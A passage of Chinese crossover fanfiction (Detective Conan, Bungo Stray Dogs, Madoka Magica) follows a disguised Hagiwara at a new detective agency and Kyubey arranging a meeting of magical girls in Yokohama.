那时，伊江朔久跟贝尔摩德只简单说了两句，就直接给他们两个留下了空间，没有在旁边看贝尔摩德的易容过程。 萩原研二就这样一边被易容，一边与她搭上了话。 他们两个第一次见面交流，能谈的话题当然有限，聊着聊着就提到了伊江朔久。 不管是作为下属突然要与新上级相处，还是被前上级命令要暗暗监视对方，萩原研二都有理由想探究伊江的详细信息和喜好，和伊江打好关系。 于是，他就比较直白地询问了贝尔摩德。 然而出乎意料的是，听了他的问题后，贝尔摩德当时轻笑了一声。 “我还以为，你们关系本就很好呢。” 萩原研二不明白：“我和他才刚认识没多久。” 他看不出贝尔摩德是信了还是没信，对方只是随便点点头，说： “这样吗，不过……他和组织搭上线有四年了，却很少会和组织里的人有什么来往。没想到的是，他居然会突然把你要到身边。” 萩原研二说不出什么话来。 他也没办法确定伊江这么做的原因，只能猜测是对方知道了他的死而复生。但至于伊江想借此从他这里得到什么，他想不出来。 这些事情当然也不能告诉贝尔摩德。 不过，贝尔摩德也没想着能从他这里知道什么，甚至她还很大方地告诉了他一些关于伊江的细碎信息。 比如伊江投资过很多地方的店铺，他明面上做的假身份和枡山宪三有亲属关系，他如今的轮椅是在组织里定做的，他的腿疾应该是四年前才有的，那时他操控轮椅还不算熟练，他比较爱好甜食…… 萩原研二怀着莫名的心情听完了，说道：“……谢谢。” 贝尔摩德不在意道：“没什么，我知道的并没有多少，这些只是很轻松就能得到的基础信息而已。如果你还有什么想知道的，可以直接去问他。” “我没有开玩笑。”看萩原研二犹豫的样子，贝尔摩德笑道：“你直接去问他就行，如果能说的话，他肯定就会告诉你的。” 萩原研二心情复杂：“我和他真的不怎么熟。” “不熟的时候，他都能离开住了那么久的浅井公寓楼，要和你一起搬到一家侦探事务所。” 贝尔摩德语气莫名轻快道：“那你就想办法，和他更熟一些吧。” 顿了顿，她又盯着他，补充了一句话：“……当然，这也是组织希望你能做到的。” 萩原研二还牢牢记得自己目前被洗脑、效忠于这个犯罪组织的设定。 他垂眸点头：“我知道了。” 收回思绪，萩原研二突然不小心瞥见了伊江朔久的电脑，上面显示着魔法少女网站上的论坛。 萩原研二想要转移话题，便问道：“你也看到网上正火的魔法少女的事情了吗？” 正是造成魔法少女扬名天下的罪魁祸首镇定地点了点头：“是的。” “你相信这个世界上，真的有那么不科学的魔法少女存在吗？”萩原研二一边问，一边想着自己同样不科学的死而复生。 伊江朔久：“有那么多证据，应该是真的存在吧。” 萩原研二又陷入思考。 既然这么不科学的魔法少女存在的话，自己的死而复生会不会与此有关？又或者说，这世界上不科学的存在还多得很，自己的事情和别的存在有关？ 萩原研二想起松田阵平所说的话，他向一个白色生物许了愿。那究竟是什么存在呢…… “对了。”伊江朔久忽然开口：“明天大概会有一个你熟悉的人来这里做客。” “我熟悉的人？” 萩原研二神情困惑。 “是的，松田明天会过来。”伊江朔久提醒道：“你还记得自己新身份的信息吧，再多去熟悉些会比较好哦。” 松田会来？？！ 萩原研二猝不及防。 他想过总会跟四年不见的小阵平再次见面的，但没想过这再次见面的时间居然来得这么快。 幸亏他现在易了容，还在衣领下装了变声器，换了一个新的身份，也算是给人留了点缓冲余地。 萩原研二沉痛地应下：“好，我这就去把自己新身份的信息背得滚瓜烂熟，不会露出任何破绽的。” 拥有在犯罪组织里的记忆，萩原研二深刻地明白那个组织有多危险。 更何况组织掌握着他的全部信息，万一被组织察觉他和曾经最好的朋友有所接触，就肯定会怀疑他脱离了控制。 那样一来，不光是自己会遇到危险，小阵平和自己的其他家人朋友也会面临险境。 所以赌上他的全部演技，一定不能让小阵平发现他的身份！ …… 第二天，萩原研二一早心底就开始警惕不安了。 不知道松田阵平什么时候会来，所以他起床起得很早，顺便忙活着给这个侦探事务所简单开了个业。 原以为开业根本没提前做什么准备，还有地址离毛利侦探事务所过于近了，所以应该不会有顾客来的。 结果，还是有几个人好奇地登门。 不过他们大多只委托了找丢失的猫狗这种工作。 萩原研二却还是一一接下了，让这些委托人先填好了信息，准备自己之后再去一个个解决。 伊江朔久劝道：“不想做的工作都可以拒绝的，没必要全接下来。” “没关系啦，我也不想什么事情都不做。正好现在挺闲的，刚开业也有人好奇进来看看。” 萩原研二开玩笑道：“要是不接这些委托的话，说不定以后都接不到委托了。” 这时候，又有两个看起来15岁左右的少女进来。 一个有着特殊角形刘海的少女，看着有些局促。而她身旁的另一个齐短发戴发箍的少女则显得活泼多了。 显然是后者拉着前者过来的。 后者一进来就大方地自我介绍道：“两位大哥哥，你们好，我叫铃木园子，旁边这是我的朋友兰。” 稍显拘谨的少女也只能跟着说：“你们好，我叫毛利兰。” 萩原研二对于这两个姓氏都有些耳熟……他想起了著名的铃木财团，还有这附近的毛利侦探事务所。 但应该不会这么巧吧。 铃木财团的人怎么会来这家刚开业的小小侦探事务所。 而毛利侦探事务所的人就更没必要过来了，毕竟自己家里就是经营这个的。 总不会是特意上门来打探这个新店的情况，怕这个名不见经传的侦探事务所成为他们的竞争对手，影响了他们的生意吧？ 萩原研二觉得这耳熟只是意外，友好地问：“请问你们有什么需要么？” 铃木园子思考片刻后说：“那个……我家的一个老宅这几天总是有些漏水，能够上门帮忙修一下吗？价格不是问题。” 家里漏水？ 萩原研二愣了一下，这委托比找丢失的猫狗还要奇怪。按理说，对方不应该请侦探事务所的人来解决这种事情吧？ 第52章 萩原研二稍作犹豫，想到之前自己虽然修过水管，但是会的也不多，便想委婉地拒绝： “不好意思啊。我在这方面不是很专业。” 铃木园子却坚持想要进行委托：“但是我家已经请过好几个专业的师傅过来也没有解决，谁都找不到到底是哪里漏水了。” 这听起来确实比较奇怪。 萩原研二暂时想不出这是为什么，有点为难。 毛利兰悄悄扯了一下铃木园子的衣角，小声道：“园子，还是算了吧。过些天等新一回来去问问他好了。” “我才不想去问那个推理狂呢。” 铃木园子也小声回应道：“这家侦探事务所既然敢开在别的侦探事务所旁边，想和你们家抢生意，那至少也是有些本事的吧……而且这么帅气的两个哥哥，一定不是没用的侦探。” 完全听清了这两个少女小声对话的萩原研二：“……” 原来这个毛利还真的和旁边的毛利侦探事务所有关系啊。 所以对方上门来的目的应该不那么单纯是想委托吧，估计还想打探一下自己的竞争对手，不过两个女孩子的态度倒也挺好的…… 但其实，伊江之前说过，开这个侦探事务所不用在意是否盈利。 然而这种话当然不能随便告诉这两个少女。要是让别人知道了，肯定会引起怀疑的。 萩原研二想了想，说：“好吧，我接下你的委托。” 铃木园子立刻扬起笑容。 萩原研二将纸和笔递过去：“请填写一下你的联系方式和你家老宅的地址吧，我之后会上门拜访。不过我不确定能够解决这件事，只是到时候先上门看一看而已。可以吗？” 铃木园子：“当然可以！没关系的。” 就这样，他们达成了一致。 告别了那两个少女之后，萩原研二拿起那张纸，看了看铃木园子刚才写下的地址。 “这个地址……虽然说是老宅，但绝对不是一般的富人能住得起的地方吧，还真是令人有压力啊。” 伊江朔久接话道：“毕竟那是铃木财团的二小姐。” 萩原研二感到惊讶：“原来居然真的是那个铃木啊。你认识刚才那位小姐？” “只是曾经见过而已。”伊江朔久犹豫了一下，道：“你随便找个理由，拒绝掉她的那个委托比较好，铃木家也不会特别在意一处旧居。” 萩原研二倒也明白伊江的意思。 连铃木家都没办法解决的漏水问题，他过去多半也是无济于事。 “可是我已经答应了那个女孩子，总不好失信吧，只是去看一看而已。” 伊江朔久觉得这种事听起来像是咒灵或魔女弄出来的，但不好解释，也就无奈地点点头。 不过，他没准备让萩原研二单独去涉险。即使漏水的事似乎只是没被解决，至今还没有人因此受伤也不行。 伊江朔久打算自己提前悄悄去那里看看。在萩原研二过去之前，就把这件事给解决。 其实，这种听起来危险程度不高的事，很适合新人魔法少女练手。但这消息的来源不太好暴露出去。 而且按照伊江朔久目前明面上的身份，只能够找松田阵平帮忙。 但如果遇到的是咒灵的话，松田可能就不太擅长应对。 果然，还是要想办法让魔法少女们见面，尽快熟起来之后，许多事情就会方便多了…… 此刻，门边的风铃突然响了，有客人推门进来。 萩原研二率先回头望去。 他一直在不安等待的那个人终于来了——戴着墨镜的黑色卷发青年从门外进来，和他的视线相交，短暂地在他身上停留了几秒。 不过好在，对方又很快将目光移向伊江朔久，打招呼道：“伊江，中午好，这就是你说的那个朋友榎原吧？” “是的，这是榎原健一，我认识很久的一个朋友。” 伊江朔久给这对幼驯染互相介绍道：“之前他一直在国外，近期才回国。由于人生地不熟，所以他目前暂时和我住在一起，我们合作开了一家侦探事务所。” “榎原，这是松田阵平警官，也是我的朋友。他这段时间帮了我很多忙，今天也是因为听说我搬家开店，所以才过来捧场的。” 萩原研二听着总觉得有点别扭，但还是努力让自己代入角色，礼貌地对松田说：“松田君，初次见面，很高兴能够认识你。” 松田阵平望向萩原研二，莫名觉得自己似乎好像见过对方，对方身上有着很熟悉的感觉。 可是，他却始终想不起到底是在哪里见过这个人。 难道是错觉吗？ 松田阵平仔细看着眼前的青年。 柔顺的黑色短发、清澈的蓝色双眼，稍显内敛的气质，还有脸上挂着的浅淡笑容…… 松田阵平想了想，该不会是对方让他想起了诸伏景光吧？ 诸伏景光是他和萩原警校时的同期，也是与他们关系很要好的朋友。不过警校毕业后，对方被派去一个犯罪组织当卧底，他很少能再次见到对方，偶尔在路上遇见也只能装作互不相识。 仔细看看榎原，似乎确实和诸伏景光有那么一点相似之处。 松田阵平不再多想，回应了榎原健一刚才的问好，也说道：“……初次见面，你好。” 萩原研二心底暗自松了一口气，从松田的反应来看，对方大概率是没认出来他。 伊江朔久倒是比萩原研二更放心一点。 伊江朔久之前请贝尔摩德过来帮忙易容的时候，就说过希望她把萩原研二易容成黑发蓝眸、较为内敛的青年模样。 这样就应该能瞒过松田阵平的直觉，让他在看见易容后的萩原时，最先容易想到诸伏景光来。 至于不直接让贝尔摩德把萩原易容得与诸伏景光比较相似，是因为诸伏景光还在他们这个犯罪组织里卧底，不好向贝尔摩德提起他来。而且过于相似的话，反而会有些刻意了。 就这样，他们三人接着简单聊了几句。 松田阵平明显记挂着什么，稍微有点心不在焉，没聊多久就提出：“伊江，我上次不是说有些事情要和你说吗，我们能单独聊聊吗？” “可以的。”伊江朔久说着，目光下意识看向萩原研二。 萩原研二有种自己被排挤了的感觉。 他能从松田阵平的这种态度看出来，对方要和伊江说的事情大概率非常重要，或许还是只有他们两人才知道的秘密。 萩原研二心里有点别扭。他知道松田信任着伊江，估计告诉了伊江很多事情。 不然伊江应该也不会在自己刚死而复生后，就从犯罪组织里把自己带到了身边。 但是伊江朔久显然不是全然无害的，要是小阵平继续信任着对方，把重要的事情全告诉对方的话……或许会造成很严重的后果。 萩原研二这样想着，都忍不住想说出自己的真实身份，不想再看着小阵平一无所知地被欺骗下去。 可是目前这是不可能的。 作为榎原健一的他只能勉强笑起来，贴心地说：“你们去后面聊吧，我在这里看店就好。今天刚开业，等会儿估计还会有不少客人上门。” 松田阵平帮忙推着伊江朔久的轮椅，和他来到了侦探事务所后面，进入了伊江目前所住的房间，松田把房门关上的时候顺手反锁了。 尽管知道这里现在应该比较安全，松田阵平还是压低了声音，仿佛生怕被其他人听见。 “伊江，你看到网上魔法少女的事情了吧？” 正是伊江朔久把这件事宣扬得人尽皆知，他当然说：“看到了。” 松田阵平之前答应了跟伊江朔久解释，如今便信守承诺地把事情都说了一通。把关于丘比、魔法少女、魔女、许愿等等的事情都跟对方解释清楚了。 伊江朔久也配合地听着，时不时应上几句。 松田阵平讲了好久才终于说完：“……情况就是这样了。现在想来，连我自己都觉得不可思议。不过更没想到的是，没过几天魔法少女的事情就彻底在网上火了。” 伊江朔久：“确实，网站上大家都讨论得很热情。” “幸好上面还没有我的信息。”松田阵平也想起了网站上的内容，无奈叹气：“但是感觉离我的信息被放上去的那一天也不远了。也不知道那个网站到底是谁弄出来的。” “说不定是某个对魔法少女的事很感兴趣的人？” “可能某个团体也说不定。”松田阵平皱眉道：“网站上的许多视频是用非法的手段拿到的，而且官方根本拿这个网站没有办法。” 伊江朔久默了默，尝试转移话题。 “话说，你有没有考虑过跟其他魔法少女见个面？你们都肩负着与魔女战斗的使命，那么或许能够成为同伴吧？” “我还没有考虑过这个，不过……”松田阵平脑海中浮现出白发少女冷漠的样子。 要跟那个家伙成为同伴吗？还真是难以想象啊…… “有的人应该是不会想拥有同伴的。” 而朔夜看着就像这样的人。 第53章 伊江朔久没办法改变松田阵平对朔夜的印象。 不过倒也没必要非得改变朔夜的形象，她确实一直以来表现得足够孤僻、不近人情，说话还挺令人讨厌。 只有面对丘比的时候，她的态度才会好一些。 毕竟丘比和朔夜本质上都是伊江朔久。自己和自己对话的时候，当然不会触发变身后的debuff。 这就足够了。 朔夜即使再怎么看着像不会拥有同伴的那类人，伊江朔久也可以凭借丘比，在朔夜和其他人之间建立联系。 就算她和其他魔法少女的关系并不好，也没什么关系，只需要正常发挥实力战胜所有的魔女就可以了。 系统问道：【所以朔久你之前说，和其他人拉近距离，要先往魔法少女网站里增添一些素材是为什么呢？】 ‘大家同样是被迫害的人，自然会多一些共同话题吧。’伊江朔久开玩笑似的道：‘反正现在民众们大都认为，魔法少女们是同一个阵营的。’ ‘她们离成为互帮互助的同伴，就只差认识了。’ 系统觉得不太对劲，但还是保持了礼貌的沉默。 松田阵平和伊江朔久聊完之后，没有留下来吃晚饭就告别了。松田阵平这些天是真的比较忙，难得能抽出时间过来一趟，可是现在也得赶紧回去了。 看着松田阵平身影远去，伊江朔久收回了目光，转而望向旁边也在看着松田背影的萩原研二。 “萩原，你想知道我和松田聊了些什么吗？” 突然听到这样的话，萩原研二愣了一下。 他没想到伊江会跟自己提这个，原本他还准备识相地自动回避这个话题呢。 “你们聊了什么？” 伊江朔久微带着笑意说：“聊到了你。” 中间确实是有谈及萩原研二，虽然只是话题中的一部分而已。 萩原研二想起上次跟小阵平在手机上聊了几句后，就一直到现在都没有再给对方发去简讯，不由得有些心虚。 “没关系的，你现在可以和他在手机上联系了，不用担心组织。” 伊江朔久仿佛看出了萩原在想什么，说：“如果你想和他见面的话，把萩原和榎原的身份区分开就行。我可以帮你。” 又是这种话…… 总感觉伊江对他的态度过于好了。 萩原研二不禁突然问道：“我们之前是不是见过？” 伊江朔久沉默了片刻，才开口说：“没有。” 也是，萩原研二想，以伊江这样特殊的发色瞳色和样貌，他只要之前见过一次，大概率就不会忘记。 所以说，果然伊江是因为小阵平吧。 因为他是松田阵平的幼驯染，伊江才会爱屋及乌，对他是这种宽容的态度。 原来小阵平和伊江的关系这么好吗……萩原研二莫名有点心酸。 如果自己没有缺席这四年的话，在他们两人关起门来交流秘密的时候，是不是也就能够加入他们了呢？ 不对，越想越奇怪了。 萩原研二努力收回思绪，这些念头当然只是走神时胡思乱想出来的，不过倒是也能看出自己某些真实的潜意识。 比如，明明经常在心里告诉自己不要松懈，却还是没办法一直对伊江保持警惕态度呢…… 翌日。 萩原研二跟铃木园子打了个电话，沟通一番过后。 他准备出门尝试解决一下之前答应的委托，去铃木家的老宅看一看漏水问题，为此他昨天还特意准备了一些修理工具。 出发前，萩原研二将这件事告知伊江朔久：“……铃木家的老宅地址离这里很远，我大概得耗费很多时间在路上，回来得应该会比较晚。” 然而其实，伊江朔久早就提前趁夜偷偷变身去过一次那里了。 铃木老宅的漏水确实不是普通问题。 但不是魔女也不是咒灵，而只是一有只水滴形状的使魔弄出来的，危险程度很低。 伊江朔久轻松解决掉了使魔，整个过程中也没有被任何人察觉。 本来应该快速回来的，不过他猜测这使魔是从别的魔女的结界里意外跑出来的，就在附近搜查了一番，可惜没能够顺便再找到并解决掉一个魔女。 虽然知道萩原研二这次根本没必要过去，那里的漏水问题以后已经不会发生了。 但是因为没办法解释，伊江朔久还是只能应下：“好，不用担心。如果觉得委托任务棘手的话，就别太纠结，这种委托本来也不太适合交给侦探。” “我知道啦。”萩原研二问道：“对了，伊江，你今天是准备一个人待在这里看店吗？” 令萩原出乎意料的是，伊江朔久说道：“不是，我也有事情要做，事务所今天就先关门吧。你有钥匙，回来的时候用钥匙自己开门就行。” 萩原研二迟疑道：“你也要出门吗？要不我改天再去铃木家……” 伊江朔久：“没事，我一个人就可以，不用改变你的行程安排。” 因为不知道伊江朔久要做的事和组织有没有关系，萩原研二不好追问下去，觉得可能会涉及伊江不想让他知道的范围。 “那好，如果有事的话，随时联系我就行。” 萩原研二只能这么说。 这侦探事务所前一天开业，后一天关门……这还真是够随性的了。 萩原研二突然有点担心，自己之前开玩笑说过的话，不会是很灵验的预感吧，这里以后还能有客人上门委托吗？ 他小时候家里就有过经营的汽车修理厂倒闭的惨痛经历。 怀着久违却丝毫不怀念的担心店铺倒闭的心情，萩原研二忧心忡忡地离开这里，前往铃木家老宅。 现如今，只能先把现在接到的委托全都认真做好才行…… 而等待萩原研二离开后，伊江朔久却只是关好了店铺，回到了自己的房间，将门锁上。 他使用了丘比这个马甲，从窗户处跳了出去。 借着其他人看不见它，丘比花费了几个小时，一路巧妙地借助交通工具，由电车从东京到了横滨。 ‘这路真是太远了。’ 丘比一边往前走着，一边还要注意着躲过路上的行人，免得被人意外给踩死。 系统理解道：【是的，来回一趟很麻烦呢。】 预曦正立７ ‘如果有太宰的能力就好了……等会儿找到他的时候，我还是请他给一张书页吧。寄存在东京某个地方，我就能方便往返于两地之间了。’ 【你是专门来找太宰治的？】 ‘是啊，我不是说想让魔法少女们见个面，互相认识一下嘛。自然得由丘比来约她们。’ 丘比道：‘太宰住得最远，所以我准备先去找他问问。’ 说着，丘比也来到了武装侦探社楼下。 它没有选择从楼梯口上楼，而是顺着外面的墙壁，想办法借力跑到了四层的窗台上。 但是很可惜，它并没有透过窗户看见太宰治的身影。 ——甚至其他社员如今也不在侦探社里。这里空荡荡的，只有不少堆积的文件胡乱摆放在办公桌上，显得不太整齐。 丘比微微愣神：‘今天不会是休息日吧……’ 系统否定了这个猜测：【不是，今天就是工作日。】 ‘也是，就算是休息日，白天也不会没有一个人在这里。至少会留下几个事务员，方便接其他人的委托。’ 毕竟这里是武装侦探社，而不是他们家如今连名字也没有的侦探事务所。 那这么说起来真的很奇怪。 就像是集体遇袭了似的，武装侦探社里空无一人，而里面那么多文件还没有人处理。 难以想象到底是发生了什么事，才能让社里的全部成员来不及收拾这些文件，都匆匆离开了。 ‘我想起来了，上次我离开横滨的时候，组合才刚刚威胁完侦探社。’丘比回忆道：‘现在才过去没多久，组合的事件大概率还没结束。’ 原著里北美异能者集团组合来到横滨，在这里大肆破坏，与港口黑手党和武装侦探社为敌，给横滨带来了非常严重的危机。 这一切都是为了找到传说中能够实现任何愿望的“书”。 不过，组合最终还是没能达成目的。 在侦探社和黑手党的合作下，组合失败了，成员们四分五裂，组合首领落难到贫民窟…… 伊江朔久突然想到，组合的首领菲茨杰拉德似乎也是一个很适合签订契约的人。 通过这几次和其他人意外碰面的经历，伊江朔久也算是发现，系统一见到那些原著里出场过的角色，就会说对方符合要求。 他也就大概明白了成为魔法少女所需要的条件是什么。 所以，菲茨杰拉德应该也有这个资格。 对方就是为了能够实现自己的愿望，才付出了这么多代价，最后却落得一败涂地。 如果能将菲茨杰拉德梦寐以求的机会摆在他面前，他或许根本就不会犹豫，直接会选择答应与丘比签下契约吧。 就是也不知道现在剧情进行到哪一部分了。 有着那么多蝴蝶效应的影响，如今的现实很可能不会完全贴合原著的剧情线发展。 系统这时候说道：【朔久，我有办法找到太宰治。】 ‘原来你还有这种寻人定位的技能啊，还挺方便的。’伊江朔久道。 他想，现在太宰治大概正在帮忙处理组合的事情，或许找到太宰治的同时，也能够看到菲茨杰拉德的身影。 【是的，不过需要稍微等一会儿。】 丘比点点头，盯着面前忽然不动了的白色小光球，安静地等待了一段时间。 【找到了，跟着我走吧。】 白色小光球半晌后，终于出声道。 随即系统飘到了前面，为丘比指引道路。 就这样，丘比再次出发，在走了好一段时间后，到达了一处偏僻的比较靠海的地方，远远的都能隐约闻到潮湿的海风气息。 这里似乎有点熟悉。 ‘……’ 伊江朔久陷入沉默，太宰治应该也许大概可能或许恐怕……不会再次来海边自杀吧？？！ 第54章 不过还好，系统没有引导着丘比往海里前进，而是带着它沿着海岸的较远处继续往前走了一段路。 没过多久，丘比来到了一个平层住宅。 它照旧跳上了窗台，这扇窗很大，占据了这里的大半面墙，将无垠的海景毫无保留地引入室内。 窗内的这个房间像是书房，有一张宽大的书桌，上面摆放着一些纸和笔。旁边的书架上则是各种各样的书籍和参考资料。 房门并没有关严，所以能有些模糊地听见隔壁房间传来的许多声音—— “……组合的事情我也听说了，武装侦探社这段时间应该很忙吧。我们不需要过去帮忙吗？” “不需要啦，放心吧织田作，剩下的事情全都交给后辈就可以了。前辈要是做了太多的工作，后辈就得不到锻炼的机会了呢。” “这样啊，侦探社的后辈听起来很出色。” “除了敦君之外，还有芥川君，他们两个好好合作的话，绝对能够解决这次组合事件，不会出问题的。” “芥川？哦，是你之前称赞过的那个部下。” “你还记得啊，确实是他……” 这很明显是太宰治和织田作之助的对话。 能从他们两人的谈话里听出来，太宰治是来织田如今的家里做客的，组合的事情目前不由他们处理。 所以说，丘比等会儿还得多跑一趟了。 这里的窗户是闭合上的，从外面不方便打开，丘比就直接站在外面的窗台上喊道：‘太宰……’ 太宰治停下了和织田的交流，跟织田示意了一下，便顺着声音来到了这个房间里。 他上前打开窗户，把丘比放进来：“你怎么想起来过来找我的？” 丘比幽幽地问：‘我不可以来找你吗？’ 太宰治想起了上次最后见面时，他带着禅院穗离开，却把丘比落在了寺庙里的事，眼神一时间有点飘忽不定。 “当然可以。” 织田作之助跟在太宰治身后，不过只能看到太宰在和空气对话，他记得对方之前说过的朋友，于是开口道： “是太宰的朋友吗？进来坐吧。” 丘比想了想，将自己的声音也传入织田心里：‘谢谢。’ 织田愣了一下，没想到自己也能听见对方的声音，也没想到会是这样甜美又较为稚气的声音：“……不用客气。” 太宰治笑道：“织田作也能听到它的声音了啊，我就说我有个别人都看不见的朋友，其他人还总是不相信。” 织田却即刻问出了自己一直在意的问题：“……太宰说我的死而复生是你做的，对吗？” 丘比看了眼太宰治，含糊道：‘差不多算是这样。’ 太宰治努力转移话题：“好啦，之前的事情先别聊了。它特意找到这里来，应该是有重要的事情吧。” 丘比点了点头。 他们暂且回到了客厅，准备坐下来慢慢交谈。 然而，后面的另一个房间突然传来吵闹的声音，接着是房门打开的声音，很多孩子的脚步声越来越近。 一个八岁左右的粉裙女孩跑过来，边跑边大声说：“织田大哥，你评评理，幸介他说黑手党要比魔法少女厉害多了，怎么可能嘛！” 而一个将近十四岁的叫幸介的少年站在稍远处，不服气地嘟囔着：“我说的又没什么错。织田大哥就是很厉害啊。” 另一个少年说：“可是织田大哥不是黑手党吧？” 还有别的稍显文静的少年在劝：“大家别吵了，这两者都很厉害啊，没必要分出个输赢吧。” “织田大哥当过黑手党啊，而魔法少女根本不可能存在吧？” 幸介忍不住争论道。 “才不是呢，织田大哥明明是小说家对吧？”叫克巳的少年看向织田作之助，向他寻求认可。 织田一时无言，他也不知道要怎么解释。 不过，他明白过往的那些事情不能告诉其他人，否则一定会引来数不清的麻烦。 织田最终说道：“我今后应该确实是小说家，之前的事情都忘了吧，那些并不重要。” 叫咲乐的女孩感到胜利地笑了起来，说：“我就说嘛，魔法少女们超级厉害又超级漂亮的。她们会各种魔法，有的会长出猫耳，有的会瞬移……” 太宰治根本听不下去，表情复杂。 要是让这孩子知道魔法少女有的是由男性变身成的，或许她就笑不出来了吧。 作为被当面讨论、被夸赞漂亮的魔法少女本人，太宰治此刻就的确笑不出来，甚至还想堵住对方的嘴。 而咲乐一聊起魔法少女来，就停不下来，对其夸赞向往的句子说了一大堆。 太宰治都完全听不出来对方说的魔法少女里有他的影子。 他只能最终决定以大欺小，对织田说：“今天不是休息日吧，孩子们不用去上学吗？” 闻言，咲乐终于停下了说话，其他的孩子也几乎都立刻用惊恐又谴责的眼神望向他。 果然，上学是对孩子们非常管用的武器之一。 幸好织田作之助说：“他们跟不上学校的进度，所以目前还在休学。我准备给他们找私教，赶上进度后再回学校，或者是让他们去更低年龄段的班级上学。” 幸介立刻抢着说：“我才不要跟那些幼稚的小孩子一起上学，我的年纪早就到了该去读国中的时候！” 真嗣也道：“我也是，我也不想去读国小了。” 他们本来上学就迟，是在几年前织田成为小说家、有钱了之后才被送去上学的，年龄比班上的同学都要大一些。 要是再去更低年龄段的班级，那就更糟糕了，他们肯定会在一群矮个子里变得超级显眼的！ 没有过上学烦恼的太宰治义正辞严道：“所以，你们要好好学习才行呢。” 织田作之助附和道：“如果你们好好学习，能够尽快赶上进度，就可以不用转入低年级了。” 咲乐连忙点点头：“我一定好好学。” 而幸介已经转身，往后面的房间跑：“我这就去学习！绝对会很快就赶上进度的！” “等、等等，我也去！” 其他的几个孩子也被激起了斗志，争先恐后地往后面用来学习的房间里跑。 不一会儿，孩子们的身影都离开了，客厅里就又暂时恢复了安静。 太宰治不禁感慨道：“这些孩子还是一如既往的活泼啊。” 织田作之助应道：“他们跟我一样同时拥有了两份记忆。大概是因为曾经死亡的时候年纪还小，所以孩子们如今把这两份记忆已经弄混了。” “我也看出来了。”太宰治笑着说：“把死亡的回忆当作是一场噩梦，对他们来说也挺好的。” 丘比待在一边默默听着。 在孩子们过来之后，它就保持安静，一直没有说什么话。 太宰治不想让织田知道关于魔法少女的事情，便尝试在心底跟它搭话：‘对了丘比，你找我到底是因为什么事？’ 丘比也没有揭穿对方。 它组织了一下语言：‘我想让魔法少女们见个面、互相认识一下，地址大概在东京，你愿意来吗？’ 太宰治对此当然感兴趣：‘她们都愿意来吗？’ 他想起了见过的禅院穗和朔夜，觉得朔夜不像是会对这种聚会感兴趣的人。 ‘我还没有约完其他人，不确定都有谁会来。’ ‘好吧，我会去的。’太宰治答应得很干脆，像是早就考虑过这种事了：‘按照现在的形势，也是该约所有魔法少女都来见个面了。’ 丘比歪头望着他。 太宰治道：‘魔法少女网站是其他魔法少女做的，对吧？’ 丘比：‘我不清楚。’ 太宰治不知道是信了还是没信，总之没有追究，只是说道：‘是吗。官方没办法封锁那个网站，网上到处都在谈论魔法少女的事，而民众也大多对其抱有好感……那你应该清楚官方会怎么看待我们吧。’ 丘比答道：‘警惕、怀疑，还有可能是敌视……’ 伊江朔久确实非常清楚这些。 莫名其妙出现的网站，从警方那里公然盗走监控录像，之前从未显现过的魔法存在…… 这个国家腐败的高层不会那么轻易地接受她们，接受这样难以掌控、神秘特殊、又能得到人心的存在。 要是慢慢来、顺从着那些人的话，或许他们之间的关系会好很多。 不过，并没有那么多时间去慢慢做这些事，这也不符合最优解。 所以现在与官方直接产生大的冲突，是必须经历的一段快速磨合期……不光是魔法少女们与官方磨合的机会，也是她们内部相互磨合的机会。 太宰治跃跃欲试道：‘我们应该趁早熟悉起来是吧。如果你约不到她们的话，或许可以找我来帮忙哦？’ ‘我会尽量把所有魔法少女都约来的。’ ‘包括朔夜？’ 丘比直接道：‘包括朔夜。’ 把自己叫过来那还不容易嘛，比喊其他人来要省事多了。 太宰治看丘比没有想让自己代劳的意思，也就放弃了：‘好吧，那确定好了时间，请记得提前来通知我。’ 第55章 丘比问道：‘我能向你借一张书页吗？’ 太宰治扬起笑容，开始翻旧账道：‘你上次不是说不想要吗？’ 丘比：‘我……确实不方便把它带在身上。’ 太宰治也理解了它的意思，倒是大方地说：‘我在东京的一个安全屋里放了张书页。你如果想来横滨找我，可以直接去那里，会方便许多。’ 这就是丘比的目的。 每次往返横滨一趟，都要花费许多时间和精力，能随时联系到对方是很有帮助的。 丘比随即道：‘谢谢。’ 太宰治趁机提议：‘还有，你不是还没确定好见面的地址吗。以如今的形势，我们不方便在外面碰面，不如就约在我的安全屋吧。’ 丘比犹豫了片刻后，选择了同意。 太宰治将安全屋的地点告知了它，还说出自己在侦探社里也藏了一张书页。告诉丘比可以通过侦探社的那张书页让它直接回到东京。 ‘我暂时不回去，在横滨还有些事情要处理。’ 丘比望了一眼织田作之助，最后这一句话选择让他和太宰都能听见：‘我就先走了，不打扰你们了。’ “再见。”太宰治出声回应了丘比的话，目光却不觉瞥向身旁的织田。 织田作之助终于感觉自己有了存在感。 太宰治如今的举动让他想起了自己收养的那几个孩子，他们每次做了什么错事又不敢说的时候，也总是用这种眼神悄悄看过来，一副可怜巴巴的模样。 织田叹了口气：“再见。” 丘比顺着来时的路，走进书房，推开这里的窗户出去，又很贴心地将窗户重新关好再离开。 空气中沉默了一会儿。 织田知晓这样的沉默意味着什么，太宰治准备保守秘密。既然对方下定了决心，那自己就无法从对方那里问出任何事情。 他只能问道：“太宰，我能帮上你的忙吗？” “……可以的。” 太宰治笑了起来，气氛缓和了许多：“放心吧，我会随意麻烦你的。” …… 伊江朔久离开织田住处后，在横滨调查了一番，很轻松就得到了情报，弄清楚现在事情发展到了哪种状况。 但是他没有怎么干预。 除了帮助无辜民众避开组合带来的危机之外，只是远远地看着。 看着侦探社和黑手党合作对抗组合，迫使组合最终选择操控白鲸这一飞行异能要塞撞向横滨，中岛敦和芥川竭力阻止…… 太宰治说得没错，中岛敦和芥川配合起来的战力确实很出色。 他们费尽千辛万苦，虽然几次遇险，但还是成功打败了声名远扬的组合首领，守护了横滨的安全。 而组合的首领菲茨杰拉德为得到传说中能实现任何愿望的‘书’赌上了一切，如今失败也就几乎输掉了所有。 组合四分五裂，他身无分文，战败后从白鲸上落入了海里。 从那么高的地方掉到海里，他的下场可想而知，不用等到溺水，就会先一步面临撞击海面的巨大冲击力。 下落的时候，菲茨杰拉德真的以为自己要死在这里了，死在异国他乡，尸体沉入冰冷刺骨的海水里，不会有任何人来这里打捞起他的尸骨。 但是，忽然他感觉到了异样。 菲茨杰拉德下意识抬起了自己的左手，目光放到无名指处，上面的戒指开始消失。 他意识到，这是自己的异能不由自主地发动了。 菲茨杰拉德的异能是用自身的财富来强化自身。 在方才最后的作战中，菲茨杰拉德用光了自己所有的财富，只除了这一枚戒指……这是他和妻子泽尔达的结婚戒指，价值五十万美元。 